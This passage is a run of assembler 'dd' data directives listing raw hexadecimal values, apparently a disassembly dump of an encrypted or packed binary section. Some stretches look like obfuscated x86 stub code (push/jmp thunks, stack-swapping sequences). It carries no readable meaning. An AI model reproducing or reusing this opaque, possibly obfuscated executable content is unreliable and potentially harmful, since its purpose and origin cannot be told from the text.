4F8CA191h, 8E00BF08h, 610A18F7h, 71A6CC17h dd 49E2h, 0C2259900h, 0CA0F2029h, 62B8398Ch, 0E0545A19h dd 20125021h, 359DE6F2h, 0A7E4920Dh, 1191F0CDh, 84F3B052h dd 74E3971Bh, 0E29DE2A3h, 0ADF8AA85h, 44C89A2h, 0F58C02BDh dd 1963081Ah, 4371A725h, 2E77BE86h, 0BE1Ah, 0FEEF3100h dd 0DB0F47B0h, 8F165A97h, 6B2ACA8Ah, 67EB9F18h, 196127F8h dd 652FE59Bh, 6AEB9F18h, 92065D35h, 0D743CE5h, 0BC054D92h dd 0BC0B488Dh, 0F68F03h, 0DB3352C4h, 4DB4FC97h, 58D3CAA9h dd 0CF2C5D51h, 158E9DE5h, 7F72F89Ch, 0D3354C6Bh, 5C4D7E6Fh dd 0F60EE956h, 354CF491h, 0BD862260h, 0DD41C976h, 8BFE4459h dd 0D7AC963Ch, 0AEDA9990h, 402h, 8E62DB9Fh, 0A145AAEBh dd 0FB3F82CCh, 10145F26h, 2EC2377Dh, 0BCFA8045h, 8DD0B549h dd 6E2BCE22h, 4000E519h, 38313DF1h, 0EA390D7Ah, 2C7F1091h dd 1B6A2AEFh, 62D79D7Ah, 0DFABEB8Eh, 0DB0F64D3h, 3A89CA97h dd 0FF6335BDh, 3B64B74Bh, 548D0A7Bh, 1A41A50Ch, 0D88F3992h dd 6A25B97h, 0E20DCA57h, 0A4094B8Eh, 0C53A91DDh, 0B9297DBh dd 6F056990h, 9A9DE895h, 0C770BD87h, 0E120DF43h, 367C6DFEh dd 9BD7BE9Ch, 0CAC661E9h, 0CD8AC57Bh, 370E28Eh, 490D0000h dd 18593CF0h, 0F0B257ABh, 0CD94698Dh, 0A5E3867Ah, 1E37DC50h dd 5BDF2A68h, 7CB0FB46h, 8B6FDC99h, 0A347AEF6h, 0BFE886A7h dd 0A291EA38h, 0FEEFBEE9h, 0DB0F47B0h, 8F165A97h, 727BCA8Ah dd 0FE22D41h dd 0E21097DBh, 0B6B7AA1Dh, 374EF284h, 569FE738h, 7CBE21D2h dd 2F5EC235h, 0E6BC0143h, 0D34CF49Dh, 0F0BB64A7h, 29FD1891h dd 0A712FA4Ch, 58C771h, 25740000h, 0F2029C2h, 0DB0F3463h dd 0CEA42997h, 97DB0F81h, 5120D49Ch, 26500290h, 10459DE6h dd 515C1DB8h, 939A0E61h, 0FF86EDB6h, 4D53640h, 84A991F0h dd 4D01F93h, 0D4CD91F0h, 0E3B22689h, 0B7D060Ch, 0D671A66Eh dd 117h, 126122E7h, 85887EBh, 1D4591F0h, 2AEF2184h, 159D1A69h dd 0F418EE4h, 145C97DBh, 28C8888Dh, 0BA054868h, 9601B53Dh dd 0FAF36C10h, 0EEAC2841h, 0EB8A42D1h, 6610682Eh, 2D642EECh dd 80C10E64h, 94DC97DBh, 0C42171E0h, 0F77F04A5h, 0A6D7D443h dd 0D5D12261h, 97DBF36Ah, 46AD8E98h, 7B0DDC88h, 0ED91DCA6h dd 76BF8794h, 0E15010C9h, 0FA444FF8h, 280563D6h, 3F216D49h dd 9197DB42h, 3D8C60D1h, 9411B084h, 0CAAB3FDEh, 276D85CDh dd 39AD25D2h, 0CF6047BEh, 67F2D0DEh, 9B609DE6h, 0BF0968DDh dd 198C778Bh, 941B9786h, 0E9BCED8h, 18CAC295h, 0BA69E857h dd 0A8F081BAh, 17093FADh, 22E74A18h, 0EC621D60h, 0CE947178h dd 0A4E2877Bh, 0D049651h, 48F78AB1h, 1D93Ch, 5BB2F600h dd 3281C2A7h, 14591BFEh, 0CD367D10h, 0BB0E5429h, 0D1B7AC47h dd 2FC22693h, 2E71B64h, 5F32F645h, 0DE4AAE17h, 375483EFh dd 564991EAh, 597D3B47h, 0B931AE1Bh, 541CF135h, 25C209EDh dd 722029C2h, 9DE62680h, 4432AD95h, 91F01907h, 0EDF69C7Bh dd 71A6789Bh, 0E166h, 7B3B1500h, 0E7808D0Ah, 0AC60E8EAh dd 5D81504Fh, 15B32203h, 3D7B1061h, 0F95E4FC8h, 5BCF48B9h dd 3542F43Ah, 8F3897DBh, 9E0AC188h, 71267FC9h, 492CC031h dd 0C43FB809h, 0FA5F4EE1h, 0BCC4BBAh, 2E77FB4Ch, 0A613F1BDh dd 18819DE6h, 591EE78Ah, 44FD75E2h, 3CA51314h, 0AABF320Dh dd 0A4049DD4h, 24BB78BCh, 1D91828Bh, 91F098D2h, 55C2357Ch dd 0FE87CBDDh, 7923DCCDh, 476A11DAh, 3C125021h, 0C19BCED0h dd 0EDAB9099h, 0C3816498h, 4AEFF976h, 75E08AB1h, 0E507h dd 4FBEFA00h, 268DD6ABh, 18652FC2h, 0F14201E4h, 0AF1A583Dh dd 0E5A3B84Bh, 33D62A9Fh, 16EB0F70h, 6306FA51h, 0D25ED223h dd 3628971Bh, 5A3591EAh, 87D3B4Bh, 985CC5F4h, 95876C76h dd 3FF6C170h, 0FA1115D8h, 4FB6FE9Bh, 7B3B60ABh, 9C12030Ah dd 97DB0F53h, 0C47B1A4Eh, 0EE25313h, 0F0F97275h, 0F1BDAEDFh dd 97DB0F86h, 6CDBD79Bh, 7197DB0Fh, 0AC4AA8C9h, 519DE85Fh dd 0B247E0E9h, 0EF1C886Ch, 74ADA4FDh, 9821C52Ch, 1681F6B3h dd 4C140190h, 0D60C7AE5h, 0DB516EA3h, 0DB6563Ch, 642309C7h dd 73E26413h, 0A5FC4A59h, 5841B0F0h, 7D1C4B27h, 0D3EED16Eh dd 10DD8560h, 5F262A7Ch, 77BE869Bh, 0E75017C8h, 22F0AF78h dd 0E3076E36h, 40FF460Eh, 1134h, 0C409DB00h, 0C3670F5Bh dd 6D349FD2h, 61159D1Ah, 7F3BCD10h, 848910Eh, 9CD93EB9h dd 246FB02Fh, 0BDFB5CDBh, 4C0ACF48h, 0DA997EF9h, 6729EE69h dd 0FB449D1Ah, 53B30BB4h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 8953240Ch, 4C381E3h, 81000000h, 4EBh, 241C8700h, 242C895Ch dd 79668h, 24048900h, 45E7BF57h, 0CF812BD6h, 6A3013BBh dd 8104EFC1h, 8E4AA7F7h, 0F8895000h, 5F58C589h, 8904EC83h dd 4832424h, 53580424h, 8BBh, 57C30100h, 3B89EF89h, 48B5B5Fh dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5D2434FFh dd 0E904C483h, 0FFFB14ABh, 0B87A5440h, 6313ACBh, 0E0FFC503h dd 7848F336h, 1014B2A9h, 1E26C551h, 26C32CA0h, 18D3322Bh dd 2B37B06Ah, 0A45B582h, 10E8h, 8A1AAA00h, 9123DA2Fh, 76575DE3h dd 0F458B092h, 8AF78070h, 0C081F858h, 67BFh, 68C9DA80h dd 19C4h, 4870Fh, 8A510000h, 665F5BF3h, 0DCD5EB81h, 8B6630FFh dd 0B9535ED0h, 177D119Ch, 0B3F6815Bh, 607B8E85h, 11E9h dd 2504E000h, 0A1A17BACh, 6A5E748Fh, 8169C1C7h, 81619293h dd 4C6E1CEEh, 0DEBF0F10h, 4D40C681h, 0BB665CC3h, 30897896h dd 83D3B70Fh, 0B70F02E8h, 0B74848C9h, 850F4F80h, 16h, 8C532B9h dd 22E971h, 0E2270000h, 0FDD3E278h, 4A1289C5h, 8B66FE30h dd 0FF8EE9DEh, 227AFFFFh, 45C40D17h, 0DA5571F8h, 57DB0771h dd 3CEE8D8Dh, 6A0631h, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 2C6832C3h, 8BCCD29Dh, 0E18D89D7h dd 89062B0Eh, 2B1B6D9Dh, 0E185C706h, 98062B21h, 8900005Fh dd 2B1EE5B5h, 0E585C706h, 62B2Bh, 89000000h, 2B00358Dh dd 0A1B5FF06h, 6A062B07h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 4E0DC351h, 14E9941Fh dd 1B000000h, 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h, 0BAC7CDC6h dd 0FF62A347h, 2B273195h, 0DE96006h, 49000000h, 0D028A7D6h dd 9D4704CAh, 0FE03E50Bh, 4E04D281h, 6A6114A2h, 4595FF00h dd 8B062B29h, 0FC1FEBC0h, 0AE0CA881h, 4D388473h, 0FA5C0548h dd 96802BE6h, 0F1D0F570h, 6634706Fh, 0E98D638Fh, 85E92E37h dd 0EE000000h, 4754E178h, 0F3BAF5CCh, 0D666D138h, 979FABAFh dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh, 204A95ACh dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh, 0BBEFB600h dd 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h dd 0C20DA437h, 0E0910D3h, 2 dup(0) dd 10BDE9h, 3F586800h, 0DE90631h, 68FFFA42h, 631405Bh dd 0FA4203E9h, 413968FFh, 0F9E90631h, 68FFFA41h, 63142C6h dd 0FA41EFE9h, 433A68FFh, 0E5E90631h, 68FFFA41h, 6314405h dd 0FA41DBE9h, 44AC68FFh, 0D1E90631h, 68FFFA41h, 6314561h dd 0FA41C7E9h, 461168FFh, 0BDE90631h, 68FFFA41h, 63146EDh dd 0FA41B3E9h, 47A268FFh, 0A9E90631h, 68FFFA41h, 631490Eh dd 0FA419FE9h, 4BD668FFh, 95E90631h, 68FFFA41h, 6314CD8h dd 0FA418BE9h, 95AFACFFh, 655BFE19h, 340A4EA9h, 80A49FF8h dd 4D77EB04h, 0E8752451h, 37504C76h, 86E11D27h, 0D433EFD1h dd 9C7EBA9Ch, 0FECF618Fh, 868292DAh, 0E1C781A2h, 9BBDB70Ah dd 929EEE1Fh, 0E10FBCDh, 0C25765F2h, 0DD8AC6DEh, 0D4626EBDh dd 256D3F3Eh, 61BC0F39h, 2CE1CAFAh, 64B82F13h, 0B1BDE9DDh dd 55776BDBh, 3Dh, 0D21F6F71h, 2C6BF685h, 0AB451335h, 0DE94EBC0h dd 0CC0B0693h, 4CE87785h, 843E335Dh, 0C9518AC6h, 0F4B0139Eh dd 1750868Eh, 3BC90796h, 716D3E74h, 0A4CEFCC0h, 58776C8Dh dd 0C1h, 0E1C7817Ah, 99A3B70Ah, 9075EF32h, 0F15EFACCh dd 13F8CE92h, 0B00F9E0Fh, 3E0E55B0h, 0A6314DEDh, 21C049FBh dd 0F33A4491h, 0A786810Fh, 5F1994EBh, 0E262BD79h, 676E7C4h dd 47527EE9h, 2E8AC692h, 575F430h, 0DF307FE8h, 5E8EA54Ah dd 0B443CE3Fh, 0D583DC9h, 6E9F98FEh, 0C655B62h, 0A32C3273h dd 7F4C76E4h, 0E8D284E3h, 838E7F03h, 0B5AB5204h, 9C380A50h dd 0FAB9DC3h, 0D8E27493h, 591CF8AAh, 0B1984B50h, 0E59h dd 444084D9h, 9410342Bh, 27E3E57Bh, 73AF89C8h, 0BC784214h dd 4D158E71h, 0FA60BF7Bh, 0AEB3CCC8h, 47011E9Ah, 58F7A561h dd 0DAFFA24Ch, 7951D792h, 2BE7D981h, 76B294CCh, 0D6E27162h dd 94EBC054h, 0FBCF5FA5h, 0BC7FF4D6h, 8AFA6BA2h, 306FFA65h dd 0AFB3182Ah, 65F527Eh, 28368AC6h, 167F0DC3h, 1A356D3Eh dd 16CF618Fh, 9C826D3Eh, 6A10F46Dh, 8A2430DFh, 0FF6D3E16h dd 16FB7563h, 908E6D3Eh, 0AFF47E19h, 0BCA8776Ch, 2A000000h dd 0AE1C781h, 3299A3B7h, 0EBDB859Eh, 0CDB9E494h, 8923BD96h dd 5507C81Fh, 0E14418EAh, 0B99FD928h, 422227Dh, 6BEDA8A7h dd 55F1D78Eh, 1E53A354h, 9C96A3B1h, 61F97539h, 82C69BF6h dd 2A981129h, 319ED323h, 0D596923h, 0C995F073h, 43C12CFFh dd 476A1F0Fh, 0CFAE5FFBh, 0F475AE80h, 7793B182h, 93B5ADE8h dd 9F66F817h, 0DF6581BBh, 505A3275h, 562E21F2h, 0DA00000Dh dd 2C4B4781h, 7C9B1729h, 0CD2AE6D8h, 1976B28Ah, 76837F41h dd 7E401683h, 0CFF96582h, 99A3B4D3h, 6442021Dh, 4F5DF2A8h dd 92DA80BDh, 817C54D0h, 0C3624D9h, 0C03BB5C3h, 0D04E94EBh dd 251F78B4h, 71138703h, 0C054D6E2h, 312994EBh, 89AFA9F8h dd 4365DF22h, 12342847h, 980792B9h, 39C7C0E9h, 620CDAB5h dd 1794EB88h, 0C57F820Bh, 5E1974E3h, 7BD38F7Eh, 0F907927Dh dd 94EB8877h, 6495140Ah, 6470DF14h, 8AC6C5E1h, 0DD6F7D08h dd 0B06D3ED5h, 0B488D1AEh, 23C2CB57h, 0A7DFA9ECh, 0ED75A30Dh dd 7DE0BFDBh, 0E4F02F4Bh, 65B0D655h, 2136FA4Ah, 2A4678DCh dd 2633418Eh, 49888DF7h, 0F949FAD1h, 0BA5D6BF4h, 0C976FA7Bh dd 0C98B0651h, 9CD433EFh, 1EAE08BAh, 0AD94E0Fh, 0C7843h dd 0A1A3B800h, 71570A65h, 0C0065AB5h, 8CA8ABC4h, 5963F710h dd 0F461505Dh, 435C5862h, 92ED291Bh, 0E03FFBCDh, 904A4660h dd 81C36D7Bh, 0B2B692DAh, 0E1C7819Eh, 7C581B76h, 8B1A93AFh dd 0DA056ADAh, 0C08F214Fh, 82AE94EBh, 94EBC0E8h, 203EFD9Dh dd 0BF5A66E9h, 0D68AC6D9h, 0DD801F48h, 8F7E00EBh, 46EA5AD3h dd 516BEF12h, 224E9935h, 7312122Fh, 0FDD33826h, 6742246Fh dd 517F0A25h, 674224DFh, 0F22A7FB2h, 0EC013128h, 0DCA05950h dd 4089C4AEh, 827871h, 6F5A0000h, 7749111Fh, 0B7AD8A94h dd 0DEEA7591h, 8AC69293h, 0F4C74F82h, 10FBDD97h, 0D690210Eh dd 1F7AE501h, 47F0D53Ah, 0EF3C1A5Ah, 312DE453h, 1C203710h dd 0C817B3CFh, 79B094CDh, 948F1B85h, 0F8A6D3Fh, 849A714Bh dd 5C7AFA05h, 0D65864F3h, 276D3F94h, 763F60Bh, 0BBA7145Fh dd 0EE738C72h, 3F5AF1DAh, 4660E005h, 70B9D565h, 0B74C5h dd 35B3600h, 5967EAC1h, 6D3FDAD7h, 3F18B4AAh, 0E0E62719h dd 85D21F6Fh, 0DC837D77h, 0C10E108Ah, 68A482C2h, 84BEA0FFh dd 5C7AFA05h, 16EDE8Fh, 94C4BD6h, 0D589D437h, 0EA0618F3h dd 403AAD23h, 66257312h, 714B0FF2h, 0A168849Ah, 94F35CC2h dd 1F32FBDDh, 2AE6C080h, 5EAD8BCDh, 7509DEDh, 441D78h dd 0A7B897ABh, 35646C9Dh, 58795B62h, 0FDC396F5h, 0A446102Eh dd 0D97999AAh, 499F2541h, 5E568E58h, 0AEBDA8Dh, 16470000h dd 0C299F632h, 73E90682h, 3F36514Dh, 0DC829D19h, 1CC32EEAh dd 29E5DF83h, 7EBA8CCEh, 88043821h, 0D7D3F56Fh, 50DAE605h dd 2592DA82h, 62F00B2Fh, 7D94EBC0h, 0D74A330Dh, 0E9E4D300h dd 0D6A1B770h, 53EF300Eh, 0CB57F804h, 74EA8ADCh, 92B4ACEBh dd 597FF916h, 7C71C172h, 0D344C5D3h, 144B7309h, 9DBBBA43h dd 135FE501h, 14505CBFh, 0A778CC7h, 0A2BB0000h, 560D6AA6h dd 75DBA76h, 0ABAAC5C1h, 60F6118Dh, 6057A25Eh, 5D5963F7h dd 0F22E1842h, 3CF8CC95h, 4B4761E3h, 0DC6E7A91h, 0B192DA83h dd 12719FB3h, 88967553h, 6046FE01h, 0AA9788F7h, 0B62785EDh dd 1AA9A477h, 0EBDE7C0Eh, 80091194h, 0AE1C781h, 2937C26Dh dd 94EBDE87h, 0BCA564FAh, 0FBD09AC8h, 92747D96h, 56000004h dd 85D21F6Fh, 0B78EBD16h, 125D64C0h, 29835EC9h, 0D47BB26Bh dd 0DCD00BC8h, 0CF18068Ah, 29B690D0h, 5215F06Ah, 1991DE7Ah dd 0B8533107h, 36510DFCh, 1DB3183Eh, 6D24F18Fh, 84D32090h dd 0F141EBF9h, 2A346D24h, 0F11DAFBDh, 0EE706D24h, 504103Fh dd 87309E8h, 9870EC16h, 8C5F505Ch, 9ACC5h, 0EDD78400h dd 0BD83D631h, 0C322641h, 0D8FC7790h, 0A59FC3DCh, 0C05D1C69h dd 0F68A49Eh, 5EB9754Fh, 0ACCBC7F9h, 441692B4h, 841799A7h dd 0EE6A92DAh, 0E1C781CAh, 58BDB70Ah, 8EED3E18h, 816F5CBh dd 880750ECh, 683BF2D4h, 0EC9276CFh, 4B94A8B1h, 0EBC0B33Dh dd 5158C694h, 96DE3C36h, 5FFF9A7Dh, 31F88665h, 3C864h dd 62F06600h, 7D94EBC0h, 1877E00Dh, 828D7C46h, 0DC831776h dd 0A7302E8Ah, 524E68E8h, 0B6153335h, 931CEC9Bh, 0D9E53032h dd 0A2CF3FD0h, 45EA2735h, 75E57308h, 5D2D97CFh, 0E863B050h dd 905h, 9814302Dh, 28E4D87Fh, 7BB789CFh, 8703251Ch, 0D0CCF668h dd 0F169F2A5h, 0A6B4D3CFh, 5207609Ch, 1355B26Eh, 0C23F935h dd 0DA844EE0h, 2D050392h, 0AE1C781h, 309BBDB7h, 785375EDh dd 2E093F25h, 0D0B51628h, 698C6327h, 0A34EF4C8h, 0EBC01B95h dd 0DFF4E294h, 0D3D34AFEh, 10B776E8h, 7D970B56h, 3240Eh dd 7CF0C800h, 7D94EBC0h, 85043A1Eh, 80CF2494h, 0DC831074h dd 0BA25358Ah, 36F012Fh, 628E6D25h, 6D2502C8h, 0C05E9DBDh dd 94B46C9h, 27EF01Ch, 0F136D25h, 98D837F3h, 90E06DBEh dd 75E8F463h, 8730802h, 84EC16h, 984B505Dh, 850B1h, 497BE000h dd 192F324Dh, 0E8DE829Dh, 0B490D32Ch, 13B1F78h, 1CB97885h dd 6B84003Ah, 0BAD5D1F3h, 867A3A5h, 0E8B26E48h, 85BB3543h dd 4ACE92DAh, 2B027176h, 62E64901h, 94B5657h dd 0DA7EF01Ch, 0F1394EBh, 83C518F3h, 4EF746A5h, 1A3C347Ah dd 98123ECDh, 0ED94EBDAh, 0DAB8325Eh, 4DCD94EBh, 950AF831h dd 7D96F3D9h, 148Dh, 0E2714900h, 0C08EB2A7h, 94EBC02Eh dd 47CE3F23h, 255h, 0C07CF033h, 136394EBh, 5A6371DEh, 2D8ADC83h dd 6DE7A22Dh, 30304F4Bh, 3888B516h, 0DD80AC3Bh, 70730803h dd 0FF3644EEh, 0FA29505Ch, 7A053h, 0F9CB9000h, 497FE23Dh dd 182E324Dh, 0E4C0839Ch, 0B18BCF28h, 0CC490875h, 1B74B08Ah dd 6A850143h, 0B8D7D3F5h, 0B8629EB8h, 86EB8593h, 9A9E92DAh dd 531271C6h, 0EB6DB475h, 0A1A3FECDh, 71D6D354h, 14121830h dd 7982EDFCh, 6744E038h, 575B2F14h, 50FF3B1Dh, 1FC45325h dd 0A6CB02B3h, 7EC0AFBCh, 731697ECh, 7D97AEF7h, 7AFh, 0B2752B00h dd 6D000001h, 7A4C1271h, 0B6AE8991h, 0F0771990h, 0E394EBC0h dd 208BADA4h, 0E7EEF1Eh, 0ACEB76E1h, 771990AAh, 8ADC836Dh dd 1137316Ch, 30DD77BAh, 75729C95h, 0CD4DD0D9h, 6B4D0782h dd 361050AFh, 880B76D5h, 116C267Bh, 30D25A06h, 0ED09899Ch dd 0B6BB0B3Ch, 0BBA21B29h, 0FA997308h, 0C8AB6264h, 46D82C56h dd 64B7505Dh, 6C4EDh, 0D5EF6C00h, 0A59BBED9h, 744A0E69h dd 0C0E45FB8h, 8DB7ABC4h, 0A835E411h, 0F7108CB6h, 46A15D67h dd 94F32F11h, 5C3EFADCh, 860FA1CFh, 0C64292DAh, 0E1C781E2h dd 1748470Ah, 0A3A5FC2Dh, 0A1CF5A85h, 94EBC00Fh, 5E2DDC42h dd 0CC72560Fh, 0AE2314C1h, 0B37AF993h, 85D2F46Ch, 0E694F06h dd 89917A4Ch, 313DA200h, 0D57D96DFh, 7, 0D775F1h, 0F06D0000h dd 94EBC07Bh, 70DF1464h, 0DC834A64h, 0B4233F8Ah, 0E67A9FD9h dd 0DB770BE0h, 0A8EEBDF0h, 895A845Ch, 0F695BC6Dh, 435C587Eh dd 97C42701h, 8F9DCA27h, 7308D6CEh, 3B4BF961h, 0C4505DACh dd 60F3C17h, 3A230000h, 0EE75920Eh, 9FC522DEh, 53126DA9h dd 0F85EB975h, 0F8BFCAC6h, 0C5C1FB5Fh, 1A96B0AAh, 0A46064FDh dd 0F32F094Bh, 74F60229h, 992DA87h, 0C781370Bh, 0BDB70AE1h dd 0D514C9Bh, 5F4ED03Bh, 4F87DCCh, 95A3B6AEh, 94EBC01Bh dd 5854F06Eh, 96DA2B47h, 7D37Dh, 75FF0000h, 35h, 1A02716Dh dd 402D7842h, 86BEC1C8h, 7CF44BA0h, 639C715Ah, 0AC490B9Fh dd 183794AEh, 0EB44620Ch, 0EF0B1794h, 0DDC85753h, 7B7BEECFh dd 0FA1198AEh, 20h, 280271DCh, 0D7156294h, 0C2829D0Ch dd 3B1C7BE4h, 0D7F58801h, 94EB524Ah, 6C42063Fh, 0C2D6D2F4h dd 0C6060271h, 3330FD44h, 0EBE88B25h, 0C460FE94h, 9CBABAC5h dd 92AE1E4Fh, 0D3A9B40h, 0DF08A44Ch, 0DC26B7B1h, 1B44DA8Ah dd 3624D97Ch, 0D41BF00Ch, 0A17B14D5h, 0EF1EBAEDh, 3A46D560h dd 6D24C7B0h, 4D5455C5h, 5668EE0Bh, 4D49E575h, 19273232h dd 6D24C797h, 0F2D9FF76h, 0D508F6Ch, 9FC09F3Bh, 0B1A209A5h dd 95A32C41h, 73138422h, 35401A41h, 760A8527h, 0CA66F867h dd 0E26221AEh, 0E00C9BC4h, 67760A4Eh, 30EE1F03h, 0CEE86827h dd 0A680C0DFh, 6D7B0645h, 67760AC3h, 0A3CCEDAh, 0C9516776h dd 8CBD6CF2h, 9CA8373Ch, 795B2EEDh, 0A4941E00h, 1B568E14h dd 4A381C8h, 0CE8F0000h, 7AE13EFAh, 2B314E4Ah, 0C77E9915h dd 94CA25E1h, 540B76B2h, 71AD97CBh, 86024416h, 0D0CCF069h dd 1F9BBDB7h, 0E882AEBDh, 9D92DA89h, 0E271C3E7h, 0EBC054D6h dd 6EF22994h, 53EF7358h, 2B0D475Ah, 25D090EFh, 9514D156h dd 83CC6829h, 4C778614h, 9D0C8F21h, 97B1B30Eh, 8C70E534h dd 88CB2E26h, 0B757B77Fh, 0F20EC475h, 5CF8CC95h, 0D2333FA0h dd 0F2917D97h, 0AC5E6A6Fh, 0A194EB34h, 1FEC1DB9h, 35h dd 0D21F6FBBh, 924A7785h, 75E58AC6h, 0BF315FEAh, 0D26D3F71h dd 0D7B25D4Ch, 5442BE82h, 6D3F71C4h, 99153335h, 7634D97Eh dd 0B2A6DC76h, 91B813AFh, 3E9h, 0D21F6F81h, 0F59A7785h dd 0A5B58AC6h, 0D17C0B46h, 3F1529C3h, 14C25C6Dh, 6D3F159Ah dd 0FC74A0EFh, 7779E6F2h, 95CFD2DBh, 0B77924B3h, 28EE8B4Ah dd 88D7A667h, 0C01FECD6h, 847A49Eh, 3F9072FCh, 8B1B076Dh dd 0CADB8E72h, 0EAA94D31h, 0FACE9376h, 4EBEAF5Eh, 13E739F2h dd 7C98FD6Bh, 104944D3h, 4A43DF2Ch, 1241CB46h, 5854CA73h dd 0C30C61D1h, 6F7C54B5h, 4E77B79h, 4F4CA1B9h, 1653055Ch dd 0D9EB73CCh, 87BE6EBDh, 7FB101C3h, 4B06E5DFh, 950DB33Dh dd 3C58C679h, 0E82937A0h, 0E767B838h, 62B23C48h, 75B73B8h dd 6B50EE3Dh, 821E2034h, 0B4DAA66h, 0C183DE2Dh, 0D2222BE7h dd 9326329Dh, 9E6D957Ch, 4910A113h, 3D402F11h, 43EDFB3Dh dd 3675C3E7h, 9E1D8C28h, 25385780h, 0E76A0410h, 31F75C3h dd 0F85726E7h, 0E7AD5F6Dh, 0BEA075C3h, 0E7B3414Fh, 24275C3h dd 0E478C724h, 0EC0509E2h, 0A24D5118h, 0C18901F7h, 8009D018h dd 0A0FFA367h, 0B1A986A0h, 0EF7B1E8Fh, 975EBEE8h, 45h dd 0D21F6F33h, 0C69BF685h, 6C850B82h, 8F8AC6EAh, 109B5A00h dd 9CFB1712h, 152586B8h, 0A2091194h, 3F0E802Eh, 572BCA6Dh dd 6BA83F2Bh, 104E777h, 2D680000h, 98123E2Bh, 0ED6D3F02h dd 64FAD16Dh, 0BB72560Bh, 0E1C7811Fh, 99A3B70Ah, 0DE801F32h dd 0ED093327h, 4563E53Ch, 0CF618F1Ah, 8294EBC0h, 0B39E6D9Ch dd 6FBC86D4h, 8DC7DAD3h, 0C0E28C98h, 8B9794EBh, 0F9A4B36Fh dd 1E1AC728h, 820EFF11h, 94EB9381h, 827E5818h, 0E6C5E365h dd 7FE80575h, 9EAEB5D0h, 5076EE4Dh, 0FC4BE77Bh, 0AE511093h dd 22AE5FA5h, 8AC6531Fh, 23CDDB76h, 566D3E6Bh, 0FF719FC8h dd 926D3E6Bh, 0B5B4708Ch, 10BF2845h, 0F6D5F375h, 70540F68h dd 8A06879Bh, 730CAB98h, 6722ADADh, 5CEEFAF3h, 31674C2Bh dd 0F6118D29h, 0EED45E60h, 515058D6h, 1DBCB82h, 6570000h dd 0B2A9C6C2h, 63F91692h, 0F46A15Dh, 0CC92ED29h, 0CF33EFAh dd 39F5CF93h, 4E4A7CDEh, 98142831h, 27E3C57Fh, 20CAD675h dd 5592DA8Bh, 0D981FBDFh, 5B1D78E7h, 1990AE7Dh, 1F0A4AA5h dd 0EBC07FF1h, 0F00C1294h, 1F6FA034h, 0EAF685D2h, 94EBC040h dd 600A1635h, 1594EBC0h, 0CA8EE905h, 0E1A35F4h, 8AC6EAFBh dd 2827849Ah, 0D9D0F46Dh, 3F2929B7h, 0EED2636Dh, 0F5A45D48h dd 61C8F09Eh, 0BE4521A8h, 0C3F9776Bh, 0E5000000h, 0AE1C781h dd 3299A3B7h, 0EBDB859Eh, 0B0A9E494h, 0EA233F8Ch, 3FFBDD97h dd 19F27510h, 91A90242h, 1889675h, 8B6046FEh, 8FC66ADAh dd 0A03C42A9h, 77102937h, 0F36F7539h, 0A9C63637h, 0C303123Eh dd 0F46A730Dh, 17292C6Bh, 0D43F79B4h, 0ABA92203h, 3AB4C00Fh dd 4F674C1Ch, 5837DAD3h, 0F4933C06h, 2E8D5E60h, 35F41036h dd 16282E49h, 58E6C0ECh, 75DC0F50h, 0D9h, 0C4C00459h, 1490B4ABh dd 0A76365FBh, 0F32F0948h, 3CF8C294h, 0CD950EF1h, 7AE03FFBh dd 2E334C48h, 0C7819E1Ah, 0D87725E1h, 0DA8C22CCh, 0F9D15792h dd 78E7D981h, 0C02DDFEDh, 3E2094EBh, 0A7DFEB71h, 0BB727BA1h dd 8EA8A8C7h, 0C7818E12h, 0BDB70AE1h, 9EEE1F9Bh, 45FA0651h dd 748ADC83h, 351DBE9h, 3A246D25h, 0C8C1075Dh, 8BD63525h dd 0D0C23CC9h, 12588B80h, 342A69F6h, 68A1B912h, 3D1B5DBAh dd 2C2463EEh, 1099A10Ah, 75E61D60h, 0DDA15A3Eh, 0EC9EAA39h dd 613215F6h, 77F130F9h, 3A3A5551h, 0F170CF1Ch, 1104F4D7h dd 1AFF792Dh, 94AA0147h, 0E163BC78h, 0FF0D98C7h, 3215F64Dh dd 1CEF1E00h, 1496A231h dd 693215F6h, 0A1D38F1h, 5000000h, 7A4C1271h, 0DE008991h dd 0E8DC81FAh, 0A284BC03h, 5B6DF249h, 17312D70h, 0CFF169B4h dd 87B9A1FCh, 0BE9ED924h, 744A0E6Dh, 33154897h, 895208D8h dd 4C281E2h, 55000000h, 4BDh, 5DEA2900h, 5C241487h, 78A368h dd 240C8900h, 4D8968h, 24148900h, 372ABD55h, 0E98972F2h dd 7E1C15Dh, 0AB2DF181h, 8B547F2Ah, 0C4812414h, 4, 7F6068h dd 240C8900h, 8B08428Fh, 89502414h, 405E0h, 0C0830000h dd 24048704h, 240C8B5Ch, 81E38953h, 4C3h, 4C38100h, 87000000h dd 0E95C241Ch, 0FFFA3168h, 0E3F5151Dh, 0B44B2F21h, 518137E2h dd 0D6B81948h, 306314Dh, 76E0FFC5h, 0F5136DBFh, 67F0B2Eh dd 0CB101FFEh, 0A27A6940h, 0CD107418h, 6B6BB312h, 4E4D88EBh dd 6D736FD4h, 9A39430Eh, 0C268A1FAh, 0B93E1B05h, 63764086h dd 971016A7h, 15395515h, 722458Bh, 0FF58835Fh, 1082C11h dd 3F40C0D7h, 1557DBA3h, 1F276783h, 157E3647h, 7F39A323h dd 7E760527h, 0CF014128h, 8025FD3Ch, 4A708FC6h, 65D14F3h dd 525676D1h, 0E95446D9h, 1A8h, 1338693Ah, 1AD52C27h, 46B198D3h dd 0B4CAD1D7h, 5B7E41EFh, 5D9752E4h, 0FCA3FB6Dh, 9EB99244h dd 0BCD792A5h, 93B9E495h, 9DB2CB00h, 9CACA3F4h, 9EB9FCh dd 0AFC945D2h, 0FC00EE73h, 9CBA9755h, 0A4E56D59h, 0FEACFFB2h dd 5657F647h, 0CCD4C4h, 8F7DB5F6h, 539549F7h, 0C9BCFA97h dd 915CCD45h, 0ACE56CA1h, 10000h, 43h dup(0) dd 6D849700h, 69F033A2h, 